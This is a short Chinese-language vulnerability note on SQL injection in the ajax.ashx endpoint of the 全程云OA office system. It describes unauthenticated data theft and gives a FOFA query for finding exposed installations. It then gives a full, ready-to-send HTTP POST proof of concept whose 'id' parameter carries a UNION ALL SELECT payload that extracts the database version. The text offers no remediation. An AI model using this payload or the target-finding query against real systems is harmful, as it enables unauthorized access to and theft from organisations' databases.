全程云OA ajax.ashx SQL注入漏洞

漏洞概述

由于全程云0a办公系统 alax.ashx页面参数过滤不当，导致存在sq注入漏洞，未授权的攻击者可利用该漏洞获取数据库中的敏感信息.

复现环境

FOFA语法:

   body="images/yipeoplehover.png"

漏洞复现

PoC

POST /OA/common/mod/ajax.ashx HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
 
dll=DispartSell_Core.dll&class=DispartSell_Core.BaseData.DrpDataManager&method=GetProductById&id=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,@@version,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--+